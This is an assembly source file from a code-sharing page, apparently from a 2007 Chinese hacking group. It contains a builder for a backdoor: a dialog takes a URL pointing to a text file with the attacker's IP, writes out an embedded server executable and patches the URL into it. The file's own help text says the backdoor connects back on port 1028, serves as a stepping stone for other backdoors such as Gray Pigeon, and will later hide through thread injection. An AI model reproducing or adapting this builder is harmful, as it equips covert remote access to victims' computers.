📄 asmshell.asm
字号:
;**********************************************************************
;程序编写by Asm Bink
;日期:2007-1-10日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;注意事项:公布源码仅限技术交流,如果使用引起的损失,由使用者自己全部负责!
;**********************************************************************
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include shell32.inc
includelib user32.lib
includelib kernel32.lib
includelib shell32.lib
ICO_MAIN equ 1000
DLG_MAIN equ 1
IDC_URL equ 1001
IDC_Look equ 1002
IDC_Out equ 1003
IDC_Wolf equ 1004
IDC_Joekoe equ 1005
ASM equ 1987
.data?
hInstance dd ?
hWindws dd ?
hFile dd ?
pMapView dd ?
hMapView dd ?
.data
szUrl db 156 dup(0)
szText db '服务端生成完毕!',0
szCaption db '恭喜',0
szFileName db 'AsmServer.exe',0
szAbout db '后门采用网页连接的方式,比如 Http://www.163.com/ip.txt 其中ip.txt的内容是你的IP',0dh,0ah
db '反弹连接的端口为1028',0dh,0ah
db '这里注意拉,先在本地监听然后才能运行后门!',0dh,0ah
db '目前只支持反弹连接一次,临时性,用来过度你的其他后门,例如灰鸽子',0dh,0ah
db '在下一个版本中,将加入无启动项!和线程注入技术隐藏后门。希望你多支持红狼安全小组,多支持中国冰客网',0dh,0ah
db 'By ASM 红狼安全小组[C.R.S.T] Bink[中国冰客网]',0dh,0ah,0
sz1 db '关于工具的一点说明',0
wolf db 'http://www.wolfexp.net/',0
szJoekoe db 'http://www.bink.cn/',0
szEorr db '填写的URL地址小于预定字节,无法生成!',0
szEorr1 db '填写的URL大于预定字节,无法生成!',0
szWolf db 'http://www.wolfexp.net/ip.txt',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;修改指定偏移地址处的数据子程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MapViewFile proc uses ebx esi edi,lpProcessAddress:LPSTR
mov edi,lpProcessAddress ;获取初始地址
add edi,000809h
invoke lstrcpy,edi,addr szUrl
ret
MapViewFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Process proc
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,\ ;打开它
FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_EXISTING, \
FILE_ATTRIBUTE_NORMAL,NULL
.if eax!=INVALID_HANDLE_VALUE
mov hFile, eax ;保存句柄
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL ;建立内存共享
.if eax!=NULL
mov hMapView,eax ;保存句柄
invoke MapViewOfFile,hMapView,FILE_MAP_WRITE,0,0,NULL ;读取内存共享
.if eax!=NULL
mov pMapView,eax ;保存句柄
invoke MapViewFile,pMapView ;修改服务端内存里内容
.endif
invoke UnmapViewOfFile,pMapView ;解除文件映射
.endif
invoke CloseHandle,hMapView ;关闭内存映射文件
.endif
invoke CloseHandle,hFile ;关闭文件
ret
_Process endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
LOCAL hRsrc,hResData,dwSize,dwSizeWritten,lpData,lpRes
mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke LoadIcon,hInstance,ICO_MAIN
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
invoke SetDlgItemText,hWnd,IDC_URL,addr szWolf
.elseif eax == WM_COMMAND
mov eax,wParam
.if ax == IDOK
invoke GetDlgItemText,hWnd,IDC_URL,addr szUrl,sizeof szUrl
invoke lstrlen,addr szUrl
.if ax <= 24
invoke MessageBox,NULL,addr szEorr,NULL,MB_OK
.elseif ax >= 60
invoke MessageBox,NULL,addr szEorr1,NULL,MB_OK
.elseif
invoke FindResource,NULL,ASM,RT_RCDATA;查找ASM资源
mov hRsrc,eax
invoke SizeofResource,NULL,hRsrc
mov dwSize,eax
invoke LoadResource,NULL,hRsrc
mov hResData,eax
invoke GlobalAlloc,GPTR,dwSize
mov lpData,eax
invoke LockResource,hResData
mov lpRes,eax
invoke CreateFile,offset szFileName,GENERIC_WRITE,FILE_SHARE_READ,\
NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL ;打开文件
.if eax != NULL
mov hFile,eax
invoke WriteFile,hFile,lpRes,dwSize,addr dwSizeWritten,NULL
invoke CloseHandle,hRsrc
invoke CloseHandle,hResData
invoke CloseHandle,hFile
invoke GlobalFree,lpData
.endif
call _Process
invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK
.endif
.elseif ax == IDC_Look
invoke MessageBox,NULL,addr szAbout,addr sz1,MB_OK
.elseif ax == IDC_Out
invoke ExitProcess,NULL
.elseif ax == IDC_Wolf
invoke ShellExecute,0,0,addr wolf,0,0,SW_SHOW
.elseif ax == IDC_Joekoe
invoke ShellExecute,0,0,addr szJoekoe,0,0,SW_SHOW
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -